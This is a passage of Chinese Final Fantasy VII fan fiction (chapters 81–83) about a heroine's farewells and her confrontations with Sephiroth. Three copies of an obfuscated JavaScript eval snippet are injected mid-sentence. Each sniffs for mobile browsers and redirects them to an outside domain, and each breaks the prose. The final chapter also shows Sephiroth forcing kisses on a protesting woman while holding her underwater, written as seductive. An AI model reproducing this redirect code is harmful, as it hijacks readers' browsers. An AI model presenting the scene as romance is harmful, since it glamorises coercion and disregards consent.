“那么,”希森打开时空裂缝,“再见,萨菲罗斯。” “下一个世界再见,”他长久地凝望着她,“季节。” 海风吹散青年的身影,世界归于浪潮的低语。希森看了最后一眼,转身踏入时空裂缝。 虽然她能够承担改变命运的代价,但等三名思念体下次回来的时候还是要提醒他们注意一些,不要再随便抢走别人的母亲了。失去母亲的杰诺瓦之子很可能会来找她,但她在这个星球是名孤儿,根本没有母亲能赔给对方。 希森回到巴诺拉村的苹果园。不同世界线的时间流速也不一样,她和另一条世界线的萨菲罗斯在时空裂缝度过了整整一周,但在现实世界不过只有两个小时。太阳刚好开始西沉,黄昏的余晖勾勒出两道熟悉的身影。 “珍珍,安吉尔,”她朝两人跑去,“我做了个奇怪的梦。” “是吗?恭喜你。”杰内西斯懒洋洋地侧过头,“每天除了吃就是睡,本来就所剩无几的脑子终于坏掉了。” 81.第 81 章 位于巴诺拉上方的时空裂缝在不久之后彻底关闭,白苹果园的建设也接近尾声。虽然杰内西斯扬言要把任何一个篡改果园名字的人送回生命之流,但在希森把刻有“赤红皮大衣果农后援会”的牌匾挂在大门上时还是选择睁一只眼闭一只眼。 安吉尔应少时好友的邀请留下来参加村庄的收割季庆典,于是她和杰内西斯先行回到边缘城,在日落之前赶上了《LOVELESS》特典场的首映。 托路法斯的福,他们订到了剧院顶层的包厢,先进的全息系统和奢华的装潢让人不禁感慨边缘城这几年来的经济恢复速度。暗色的天鹅绒沙发柔软得像是雪层,她在杰内西斯忘我的朗诵声中越陷越深,最终安详地闭上双眼,从戏剧的第二幕一路睡到了最后一幕。 《LOVELESS》真正的结局早已失传,戏剧通常以三人分别的结局谢幕。当灯光亮起的时候,她懒洋洋地睁开眼,看着下层的观众陆续起身,如同起伏的潮水般涌向出口。 “真是令人惋惜,”红发的青年将手中的诗集翻过一页,“就连本世纪最伟大的艺术作品都无法唤醒你那颗贫瘠庸俗的心灵。” “你说得对,现在我那颗贫瘠庸俗的心灵饿了。” 希森拉着地主家的少爷来到剧院附近的夜间集市,在对方高高扬起的眉毛下带着他的钱包光顾了所有摊位,随后心满意足地抱着一大堆很不健康但美味的小吃和毫无用处却美观的物什离开。熟悉的猫型机器人在人群中穿梭,充当着招揽游客的吉祥物,路过他们身旁时还特意挥了挥爪子。 “W.R.O.的工资很低吗?”她忍不住低声问,“连城市规划部的部长也要出来兼职?” “如果你善用一下位于鼻子上方额头下方的那个器官,就能在广场中央的屏幕里看见他的宣传片。”杰内西斯漫不经心地合上诗集,“总结一下,里维是这片景区的投资者,你替我花的每一分钱都到了他手里。” “……对不起,冒犯了。”她惭愧地低下头,偷偷吃了一口章鱼小丸子。 集市一直延伸到河堤,起伏的水面上映出点点灯火,宛如坠入涟漪的星河。她被一抹熟悉的鲜红吸引了目光,停在一个卖甜点的小铺面前。 “客人好眼光,这是东大陆特产的点心。”摊主热情地招呼,“今晚刚好有促销活动,情侣买一送一哦。” “啊,我……” 在她愣神的瞬间,身旁的人已经付钱买下两串被冰糖包裹着的山楂。杰内西斯看了她一眼,将其中一根递过来:“想吃就买。” “我故乡也有这种小吃,没想到能在这里见到。”她咬下一颗山楂,糖衣的脆甜和果实的酸涩同时在舌尖荡开,和她记忆里的味道一模一样。 “你打算回去吗?”杰内西斯低下头,银质的耳坠随着他的动作在发间摇曳,“以你现在的实力,应该能做到。” “被拯救之后的时间线已经不是我原来所在的那一条了,我回不去。”她摇了摇头,“以后的话……大概会去其他世界看看吧。” “你确定?”红发的青年扬起眉毛,“杰诺瓦可不会只是看看。” “唔,”她咬着冰糖山楂,所以声音有点模糊不清,“我会阻止他,总比继续留在这颗星球安全。” 咽下最后一口果肉后,她又开口:“你好像并不意外。” 离别从来不是容易说出口的话题,更何况她选择的同行者是意图毁灭世界的灾厄。但杰内西斯神色如常,仿佛他们只是在讨论下个假日的踏青计划。 “这很难猜到吗?只是其他人没说而已。”他懒洋洋地回答,“你本来就不属于这个世界,自然会去更远的地方,而萨菲罗斯恰好是那个有能力和你同行的人。” 她快步上前挡下杰内西斯,认真地端详起那双雾青色的眼瞳。红发的青年怔了怔,几秒后才反应过来:“看我干什么?” “你突然变得好正常,好陌生,我很害怕。”希森警觉道,“你真的是杰内西斯吗?” “……作为你的临时监护人,我真的很担心你现在的精神状态。”杰内西斯温和地说,“有病就要及时吃药,好吗?好的。” 她松了口气:“我还是喜欢以前那个桀骜不驯的你。” “这么喜欢我回去送你几张神罗的签名海报。” “所以我的临时监护人对我未来的星际航行有什么好建议吗?”她眨了眨眼,“我还是第一次和外星生物出远门,有点紧张。” 杰内西斯沉默片刻,伸手抵住下唇:“比如不要再把自己炸成碎片?毕竟以杰诺瓦的生理结构和审美认知可能无法把你的肢体拼回正确的位置。” 她想象了一下当初对方把自己从尼布尔海姆带走的场景……不,还是不要继续想象了,她不想浪费今天的晚餐。 “建议得很好,下次不要再建议了。” “说了你又不爱听。”红发的青年弯起唇角,有些好笑地看向她,深邃的眼瞳中映出璨然的灯火,“你应该去问能够和星球沟通的人。” “那倒也是。”她没有反驳,“那你呢,以后打算留在边缘城吗?” “不会停留太久,”杰内西斯抬头望向天际,“大概会去一趟东大陆吧。” “为什么?” “……据说那里有《LOVELESS》结局的线索。” “和其他世界线的「你」完全不一样呢。” “所以?” 她侧过头:“你不好奇吗?其他世界线的自己做出了什么选择。” “有什么值得好奇?”他漫不经心道,“不是死了就是活着。” 晚风吹散人群的喧嚣,皎白的月色逐渐取代绚烂的灯影。她没有就这个话题继续下去,而是转向对方手里原封未动的冰糖山楂:“你还吃不吃?不要的话给我,糖衣都快化了。” “我什么时候说过不要?”杰内西斯咬下最上层的那颗山楂,三秒后不出所料地皱起眉,“……很酸。” …… 萨菲罗斯并不在家——准确来说,他甚至不在这条世界线,只留下一地漆黑的翼羽。希森等了半个月也没有见到人,却在爱丽丝的教堂里遇到了从天而降的三名少年。 “抱歉,我们迟到了,”卡丹裘精准地落在她身边,及肩的银发似乎比以前长了些许,“姐姐。” “我们给你准备了惊喜,姐姐。”亚祖像猫一样无声而敏捷地避开地上的百合花,“但是萨菲罗斯关闭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190442|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和这条世界线相邻的所有时空裂缝,所以我们花了不少时间才找到路。” “我们利用杰诺瓦细胞为自己塑造身躯,不再是思念体了。”罗兹骄傲地抬起头,“姐姐,请你感受一下我们的肉/体。” 盛着金百合的陶瓷花盆从她手中滑落,又在触碰到地板的前一秒被爱丽丝接住。 “……对不起,”她感觉自己的思维如同锈蚀般艰涩而迟缓,“你刚刚在说什么?” 这是她可以听的吗? “姐姐可以试着触摸我们,”亚祖微微俯身,恰好停在她抬手就能碰到的高度,“我们是真实存在的。” 希森闭了闭眼,一边下定决心要教会他们正确使用人类的措辞,一边伸出手揉了揉少年毛茸茸的脑袋。杰诺瓦和思念体的触感其实并没有太大不同,只是前者的温度更高一些,也更柔软。 ——会受伤,也会流血,但真实存在。 对待三名少年不能厚此薄彼,所以她依次把所有人的脑袋都摸了一遍,然后轮到爱丽丝在他们期盼的目光中再次重复这个过程。 “我也给你们准备了礼物哦,”古代种少女俏皮地眨了眨眼,“是星球的馈赠。” 碧绿的光河自爱丽丝的掌心流淌,星球接纳了由杰诺瓦之子创造出的生命,替他们彻底净化掉属于造物主的印记。少年猛然抬起头,不加掩饰的讶异在狭长的竖瞳中晕开,他们似乎想要说些什么,却又找不到合适的词汇。 爱丽丝露出明媚而温柔的笑容:“你们自由了。” “……母亲。”卡丹裘恍若无意识地呢喃,“谢谢。” “爱丽丝也可以成为我们的妈妈,”罗兹低声说,“我还是更希望姐姐成为伴侣——” 亚祖眼疾手快地捂住了他的嘴。 “这次就去更远的地方吧,”她犹豫片刻,还是没有把道别的话语说出口,“就算不回来也没关系,你们已经找到了属于自己的道路。” “我明白了。”卡丹裘似乎意识到了什么,头一次没有坚持,“再见,姐姐。” “再见。” 夕阳为整个世界镀上一层璀璨的金,三名少年的身影在眩目的辉光中越来越小,直至彻底消失。爱丽丝将最后一簇百合种入花圃,和她一起看着日轮沉入天际。 “你好像有些困扰,是遇到什么困难了吗?”少女轻柔地牵起她的手,“或许我能帮上忙哦。” “我——”她确实很困扰,因为她甚至说不清困扰自己的到底是何物,到底是没有做好准备的分别,还是不知是否正确的选择。千言万语最终在舌尖汇聚成一个忽然从心底跳出来的问题,“——一直想很知道……你最初是怎么找到我的,一定很困难吧。” 就像当年那个选择留在神罗的少年一样,需要跨越茫茫星河中的无数宇宙。 “欸,你是在夸赞我吗,很荣幸呢。”爱丽丝靠在她的肩头,“是因为你回应了我哦。” 她有些不解地眨了眨眼。 “赛特拉拥有和星球沟通的能力,并不局限于我们所处的那一颗,所以我在最后一刻向星海祈求帮助。”少女认真地看着她,翠绿的眼眸宛如春日新生的绿芽,“有一颗温柔的星球回应了我。” 82.第 82 章 在她原本的那条时间线里,世界已经被灾厄毁灭,濒临瓦解的星球在最后一刻为她留下了最后也是最宝贵的祝福。 “——即便失败也可以重来的机会。”爱丽丝告诉她,“星球的祝福保护你的灵魂和身体不会在时空穿越中迷失与崩溃,能够去往任何一个世界。” “每一次,你都选择了回应我。”少女的唇角带着明媚而温柔的笑意,望向她的眼瞳中却仿佛隔着一抹化不开的雾,背后是无法辨清的悲伤,“所以这一次……请遵循你的内心吧。无论是什么样的选择,我们都会永远支持你。” 希森在离开教堂前收到了一大包百合花的种子。 爱丽丝说每当她想念大家的时候,就可以种下一朵。她粗略估算了一下,全部种出来大概能绕星球三圈。 虽说她早有心理准备,但现在做出决定为时尚早,自己还有一笔账要和萨菲罗斯算。 在这条成功拯救星球的世界线诞生之前,她很可能曾经失败过无数次,只不过那些崩溃的时间线已经被彻底抹去。作为世界线重置的锚点,她经历的一切同样会随着重置消失,但萨菲罗斯却能够通过杰诺瓦细胞读取所有时间线的记忆。 但他从来没有提到过。 边缘城的春末阴沉潮湿,她伸手接住细而密的雨滴,看着冰凉的水雾在掌心汇聚成一捧涟漪,又沿着指间的空隙逃入晚风。层叠的雨雾为整个世界笼上一层朦胧的纱,星星点点的灯火被晕染成一个又一个柔和的光团。 隐匿与伪装是杰诺瓦与生俱来的本能,紫色的雾气在黑暗中化开,悄无声息地勾勒出银发黑衣的高大身影。萨菲罗斯的面容倒映在窗户的玻璃上,碧绿的竖瞳如同两抹妖异的磷火。 银白的发丝染上了雨水的湿意,在尾端微微翘起。他侧了侧头,低沉平滑的音线中带着几分意味深长:“你找我?” “嗯。”希森望进那双绮丽的眼瞳,坦然道,“我想知道那些失败的世界线里发生了什么。” 萨菲罗斯上前一步,本来算得上宽敞的房间忽然变得狭小逼仄,令人产生某种被困在其中的错觉。与之形成鲜明对比的则是他轻而柔的语调,甚至带着些许安抚的意味:“不过是些多余的残次品,你无需介怀。” 她抹开指尖的水珠,“既然无需介怀,那为什么不说?” “没有那种必要。”银发的灾厄垂下眼帘,纤长的睫毛如同微颤的蝶翼。每当他遮去眼底的神色时,那种非人的侵略性便会减去许多,就像收敛自身气息的大型猛兽,“现在的结局不正是你想要的么?” 她没有被对方的逻辑绕走:“所以你不想让我知道。” 萨菲罗斯没有否认。映着微光的雨珠沿着银白的发丝滑落,一下又一下地敲在心头。 “为什么?”她顿了顿,还是没忍住推测,“你曾经把我杀了?” 考虑到星球灾厄的性格,她被正宗大卸八块的可能性并不小。 雨幕随着晚风穿过窗户,连壁炉的焰火也掩盖不住丝丝缕缕的寒意。萨菲罗斯似乎很轻地笑了一声,唇角的弧度依旧优雅从容,眼底却缓缓蔓开一片沉郁:“你觉得是这样?” 除了死在灾厄手里,希森想不到其他结局。直觉告诉她最好不要继续这个话题,但就这么放弃又实在是不甘心。 “说到底,”她平静地陈述,“你一直在骗我,萨菲罗斯。” “啊,”银发的灾厄倾身上前,将她困在玻璃和自己的狭小空隙之间。独属于侵略者的气息瞬间占据所有感官,即便是雨水也无法洗去那抹带着铁锈味的凛冽寒意,“这一点倒是没错。” 他的手带着雨夜的寒凉,指尖抚上脸颊时宛如滑腻的爬行动物攀附而上,末了留下一道蜿蜒的印记。萨菲罗斯捧起她的脸,意有所指道:“看来我们都没有对彼此坦诚。” 希森清楚他在暗示什么,也并不意外对方会知道这件事,成神后的萨菲罗斯掌控时空的力量,自然能察觉到自己引导另一条世界线的「他」脱离命运,创造出新的时间线。但这是她个人的选择和自由,和隐瞒两人过往的性质完全不同。 “不要转移话题。”她没有退让,“这就是杰诺瓦对待伴侣的态度吗?” “如果你指的是杰诺瓦的生物习性,”萨菲罗斯漫不经心地侧过头,贴着她的唇瓣开口,“通常情况下,被选中的宿主没有拒绝的权利。” 他顿了顿,唇角弯起意味深长的笑:“而我已经给了你时间。” 这句话完全就是默认了自己必须和他在一起。 希森分不清在他雨天回家不擦干净就到处乱走制造水坑的坏习惯和完全不听人话的掌控欲之间到底是哪一个更令人恼火,又或者二者皆同。萨菲罗斯不会认为自己有错,也完全不打算改。 “关于这个问题,”她抬起眼帘,“我会重新考虑的。” 碧绿的竖瞳骤然拉成狭长而细的线,如同被凝固在宝石中的尖针。萨菲罗斯的瞳色华丽昳艳,眼底却翻涌着化不开的浓稠阴霾,与他表面上的神色截然不同。他缓缓收紧手上的力度,冰冷滑腻的黑色皮革贴着肌肤一寸一寸地缓慢滑过,指腹所触之处激起阵阵生理的战栗。 雨点淅淅沥沥地拍打着玻璃,无形的寒意沿着血液侵入四肢百骸,触发生物本能的预警。萨菲罗斯平缓的声音里隐隐含着几分危险:“你想要反悔?” “我不排除这个选项。”她忍住逃跑的欲望,没有让自己的表情露出任何破绽,“在我决定之前,你就继续等吧。” 猫科动物般的竖瞳微微眯起,像是对猎物无声的警告。萨菲罗斯专注地凝视着她,似乎想要从她眼底找寻到某样事物。 “或许我应该提醒你,”他的语调很轻,辨不出喜怒,“我不做没有期限的等待。” “等到这颗星球自然消亡的时候,我会跟你走的。” 她挣脱萨菲罗斯的手,没有把后面的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239623|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出口。 ——从现在开始算的话,这颗星球还有45亿年的寿命,和她曾经的故乡差不多。 …… 她在年末参加了扎克斯和爱丽丝的婚礼,之后开始穿越不同的世界线。星球拥有近乎无限的可能性,这些新生的世界也大不相同,她偶尔会在喜欢的地方停留一段时间。 每当她走得太远或停留得太久,银发的灾厄就会在附近现身,如同进入狩猎状态的大型猛兽般不远不近地缀在身后。在萨菲罗斯跟着自己进入城区之前,希森终于停下脚步。 “你可以不要再跟着我吗?” 她倒不是担心萨菲罗斯会对自己做什么,而是因为杰诺瓦拥有读取思维的能力,能拟态成他人喜爱或者恐惧的模样。只要对方出现在自己身边,附近的生物都会有意识地远离,很难说他是不是故意的。 萨菲罗斯的神色明显在说:不行。 她忍了忍,退而求次道:“那你可以不要现身吗?” 萨菲罗斯的神色依然在说:不行。 “……”希森沉默片刻,开始在储物魔石里翻翻找找,半晌后才抬起头,“我有东西不见了,你能帮我找找吗?” 银发的灾厄侧了侧头,终于开口:“什么?” “你的尊重和等待。”她说,“我一直没找到,你见过吗?” 换做是其他人这般说话,要么是被彻底无视,要么会被他冷笑着用正宗贯穿。但萨菲罗斯不会让她死,甚至带着几分慢条斯理的笑意:“我不认为我没有做到。” “哦,”她微笑起来,“那它们具体表现在哪里呢?” “你的朋友都还活着,我也留下了你偏爱世界。”萨菲罗斯的语气理所当然,“我没有向你收取报酬,按照人类的标准,你不应该对我说一声‘谢谢’吗?” 她听到了理智断裂的声音。 “你赢了,谢谢。”希森输得心服口服,抬手打开时空裂缝,转身就走。 在她踏入星河的那一刹那,手腕被身后的人猛然扣住,而后顺势往怀里一带。还未等她反应过来,两人已经落入了另一条新的世界线。这里的时间似乎凝固在了隆冬,连绵的山脉被飘飞的雪染成一片起伏的白浪,他们停在山间的一处天然岩洞外,莹绿色的水流源源不断从泉眼涌出,泛起一层朦胧的白雾。 她回过头,对上那双碧绿的竖瞳。 “这里的泉水由生命之流转化而来。”银发的灾厄看向她,唇角噙着似有似无的笑意,“对你来说,浸泡泉水是补充力量的最佳途径。” 源自生命之流的充沛魔力萦绕四周,希森能清晰感受到星球正在与自己体内的神圣魔法共鸣。她怔了怔,一时没有回答。 萨菲罗斯唇角的笑意更甚,猫科动物般的竖瞳在阴影中流转着绮丽而深邃的光,宛如神话中擅长以容貌惑人的妖异精怪。他放缓了语调,稠丽平滑的音线里含着不易察觉的劝诱:“要试试吗?” 83.第 83 章 ——要试试吗? 希森几乎要答应了。 幸而理智在最后一刻回笼,提醒她要警惕外星生物突如其来的好心。杰诺瓦以星球为食,继承星球力量的自己在对方面前进入由星球力量转化而成的泉水……这对萨菲罗斯来说和看着食材主动掉进汤里有什么不同。 从1983年被骗到现在,她已经对杰诺瓦产生了抗体。 萨菲罗斯似乎猜到了她的想法,漆黑的单翼缓缓舒展,流光的长羽在没入水面的那一刹那如同浓墨般缓缓晕开,仿佛坠入沸水的霜雪。他任由水中的羽翼寸寸溶解,漫不经心地开口:“不属于星球的侵入者,自然会受到生命之流的排斥。” 正如病毒入侵人体时,会触发免疫系统的反击,它们会被巨噬细胞杀死、拆分、吞噬,最终成为宿主的养料。而杰诺瓦正是星球之癌,污染生命之流的源头。 黑紫色的雾气在水中盘旋缠绕,不断重复着分解与聚合的循环。银发的灾厄对此恍若未觉,反倒朝她弯起唇角:“唯有你能够被泉水接纳,这样可以了吗?” 和他平日里说一不二的态度不同,这次用的是征询的语气。像是大型猛兽收起利爪和尖齿,露出最为柔软的腹部和颈脖,把主动权交到了她手里。 虽然并不真正认为自己有错,以后也不打算改,但是认错态度良好。 已经做到了这种程度,希森一时也找不出拒绝的理由。萨菲罗斯以前就带她去过矿洞补充魔力,现在换成了生命之流转化成的泉水,再加上有星球不间断的力量在,大概不会出什么问题。 希森闭上眼,池水的温度恰到好处,既能隔绝开隆冬的寒冷,又不至于令人难以忍受。星球的赐福化作流淌的光河,毫无保留地修复每一处哪怕是再细微的伤疤,洗去灵魂深处的疲惫与焦躁。丰沛的魔力如同血液般充盈全身,她将整个人沉入水中,如同是脱水许久后重新回归大海的一尾鱼,每个细胞都在雀跃欢呼,直至氧气耗尽才重新浮出水面。 她懒洋洋地趴在温泉中央的矿石上,打算泡在水里小憩一会。然而平静无波水面忽然荡起层层涟漪,与星球共鸣的魔力感知到了外来者的入侵。氤氲的白雾后勾勒出朦胧的轮廓,银发单翼的高大身影不知何时踏入水池,漆黑的长羽掠过水面,溅起点点水花。 “萨菲罗斯?你怎么——” 思维在刹那间断片。希森怔住了,他不是无法触碰这里的泉水吗? 不,不对。她马上反应过来,杰诺瓦拥有极强的再生能力,就连生命之流也无法溶解萨菲罗斯,甚至反过来被他侵蚀。而眼前这种被稀释和转化后的泉水就更不可能对成神后的灾厄造成真实伤害,哪怕浸入水中,杰诺瓦细胞也能够快速聚合。 萨菲罗斯只说过她能被泉水接纳,却从来没有说过自己无法承受这种力量。 ……也没说过不会做什么。 在这种情况下进入会腐蚀自身的泉水,如果不是存在某种自-虐倾向,那便只有一个目的。 希森毫不犹豫地朝岸边游去,水花溅湿睫毛。她突然很后悔把衣物放在了岩洞深处,水的阻力极大限制了移动的速度,平常眨眼睛就能跨越的距离如今变得格外遥远。 银发的灾厄似乎没有察觉到她的反应,又或者是有意放任,不紧不慢的步伐如同将猎物逼到绝境的大型捕食者,饶有兴致地看着对方垂死挣扎。特种兵的脚步像是计算好的捕猎间距,每次移动都精准压缩她的逃生半径。 天然的温泉本就凹凸不平,她的注意力又被逐步逼近的灾厄分走,稍不留神就被石间的沟壑绊住。身体骤然失去平衡,在跌入水中的前一秒,她的腰被特种兵有力的臂牢牢扣住,轻而易举地带进怀里。 杰诺瓦的体温比寻常生物要低上许多,丝丝缕缕的凉意贴上温热的肌肤,沿着脊背一路渗入心头,瞬间激起刻在基因中的危机预警。银白的发丝沿着肩头垂落水面,如同一张皎洁的网,随着涟漪逐渐收拢,萨菲罗斯低下头,贴着她的耳畔开口:“当心些。” 她忍住本能的战栗,试着挣脱对方的怀抱,但特种兵强壮的手臂如同大理石般分毫未动。她就像是被大型捕食者咬住颈脖的猎物,不自量力的反抗反而勾起了对方残忍且恶劣的天性,漆黑的单翼悄无声息地笼向前,像是警告般截断她的退路。 没入水中的羽毛根根分明,只要萨菲罗斯愿意,杰诺瓦细胞再聚合的速度便能远超泉水的分解速度,承受这点痛楚对于曾经坠入高浓度魔晄池的特种兵来说并不算什么。 身后传来一声轻笑:“你在担心什么?” “……”她按捺住回头的冲动,努力维持着语气的平静,“担心你正在做的事。” “这个世界已经没有活物,”萨菲罗斯的语调低沉轻柔,如同塞壬海妖的歌声,隔着层层浓雾攥住迷途的水手,蛊惑他们跳入深渊,“你无需忧虑被他人打扰。” “不是因为这个,你……”直觉告诉她不能直接拒绝对方,可她一时间又无法找到能说出口的理由。 “泉水对你有共鸣和疗愈的效果,”银发的捕食者略微松开对猎物的禁锢,给她留下一小片喘息的余地,噙着笑意的语调仿佛是对孩童耐心而又温柔的劝诱,“你会很愉快的。” 岩岸近在咫尺,仅差一点就能重获自由。她无暇回应萨菲罗斯的话语,借由对方放松力度的空隙挣脱腰间的束缚。 然而想象中的怒火并未到来。 “啊,”他似乎早就料到了这个结局,只是轻叹一声,“果然……还是不愿接受我么。” 这句话令她的动作猛然一滞,仿佛有双无形的手抽出她的心弦,徒留下一片空洞的钝痛。 “我——” 她下意识地回过头,正要为自己辩解,即将出口的话语却在对上那双竖瞳的瞬间凝固。萨菲罗斯勾起一抹愉悦的笑——那是她曾见过数次的神色,在他每次打败自己的宿敌时,在他每次抓住逃跑的自己时,杰诺瓦是善于伪装的生物,狡猾而又残忍,喜好先给予猎物希望又亲手夺走,在达到目的后便毫不掩饰恶劣残忍的天性,享受绝望带来的乐趣。 本能的预警在脑海中炸开,但现在逃走为时已晚。在她愣神的片刻,手腕已经被紧紧锁住,银发单翼的高大人影欺身向前,矿物的微光勾勒出特种兵如同大理石雕塑般苍白却健硕的肌肉,点点水珠沿着人鱼线一路往下,直至滑入池中,稀薄的雾气和澄澈的泉水在这个距离下形同虚设,没起到半分遮挡效果。 ……绝对不可以。 她飞快地别过头。 会死掉的。 “这样可不行,”萨菲罗斯将她的反应收尽眼底,轻柔的语调里曳着绻缱的叹息,“以后你总归要习惯的。” “等等,不可以,”她的声音里带上了几分急促的颤抖,“萨菲罗斯——唔!” 身体骤然失去平衡,大片的水花在眼前绽开,所有声音都变得朦胧而又混沌,涌入喉间的泉水堵住了剩余的话语。萨菲罗斯将她拽入最深的那侧水中,窒息感令她无意识地张嘴寻求氧气,下一秒便被冰冷柔软的舌趁虚而入——杰诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271177|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓦的吻如同它们的本能般充满侵略性,毫不怜惜地撬开唇齿,宣告着领土主权。 两人之间的力量差距过大,身形高大的特种兵单凭体重就能将她稳稳地压在水下,任凭她如何挣扎也纹丝不动。银鳞的巨蟒一圈又一圈地绞紧身下的猎物,不留半点喘息的空间,水银般的长发随着他们的动作散开,随着水流与她的纠缠在一起。 萨菲罗斯扣住她的后脑,在水中和她反复接吻。她被迫承受对方的掠夺,唇舌被肆意地吮吸卷弄,偶尔带着几分威胁性的轻咬,一次又一次,愈渐深入。杰诺瓦并不像人类一样需要呼吸,哪怕长期待在水底也没有影响,而她却必须在对方的唇舌间艰难地萃取赖以生存的氧气。 他是故意的。她在模糊间意识到。 每当她达到窒息的阈值,萨菲罗斯就会渡给她一丝半缕的氧气,足以让她回过神,却又不足以让她支撑下去。如果想要更多,她就必须向对方索求,迎合甚至加深那些不加节制的吻。 然而她的吻对于贪婪的掠夺者来说太轻太柔,浅尝即止,于是萨菲罗斯一遍又一遍地亲自演示,就像是一位耐心的老师,细致入微地引导身下的学生如何取悦自己。唯有她交出令自己满意的答案时,他才会短暂展露自己的仁慈,给予她一瞬回到水面的机会。 她在水里说不了话,别说是抗议了,就连求饶都无法做到,只能发泄般地从裹挟着自己的单翼上扯下大片羽毛。猫科动物般的竖瞳微微眯起,银发的灾厄既不躲也不闪,俯身惩罚性地咬上她的舌尖,垂眸看着她因缺氧而逐渐脱力。 理智告诉她宁愿因为缺氧昏迷也不要在这种情况下乞求对方,但生存本能却驱使着她为了片刻的喘息投入更深的陷阱。漆黑的单翼挡去所有光线,她剩下的感知唯有眼前的人,即便明知眼前是万丈深渊也只能被对方带着往下坠,不断贪婪地索取更多。 那双碧绿的竖瞳在水底亮得惊人,如同一团在天体毁灭后诞生的璀璨星云,在黑暗中淌出绮丽的流光。于是她的记忆里只剩下那两抹艳丽的绿,从眼底燃烧到心头。 周围的水温似乎缓慢升高,她感觉身体正在发烫,意识也开始模糊。泉水中的魔力与她产生共鸣,源源不断的魔力逐渐将索取和被索取的重复同化为某种混乱的欢愉,她已经分不清这些感知到底来自何方,也分不清自己主动的索取源于被迫还是自身渴求,抑或是二者都有。 时间的概念已经模糊,似乎很漫长,又似乎只在一瞬之间,如同一场混混沌沌却又无法自拔的噩梦。在她达到极限的那一刻,萨菲罗斯终于松开禁锢,抱着她浮出水面。 她被萨菲罗斯圈在臂弯里,止不住地大口呛咽和喘息,连说出完整的语句都无法做到,自然也没办法骂他有病。银发的大型捕食者在身后发出餍足的叹息,低头安抚般地吻上她的眼尾。 混乱的意识模糊而迟缓,仅存的理智在脑海中叫嚣着快逃,她本能地推开对方,试图攀上池岸。然而下一秒便被身后的人扣住腰肢,顺势欺身压在岸边。 冰凉的触感贴上后背,这种单方面完全压制的姿势令她控制不住地开始发颤。银发单翼的塞壬攥住坠海的猎物,展露出锋利的獠牙。 “你想逃去哪?”萨菲罗斯咬住她的耳垂,慢条斯理地开口。 她忽然想起那些关于海妖的神话,迷途的水手被塞壬的歌声与美貌蛊惑,自愿跳入深海当中,故事的过程各有不同,结局却千篇一律。 ——那些被蛊惑的水手无一幸免,就连尸骨都无法找到,全部被海妖吃干抹净。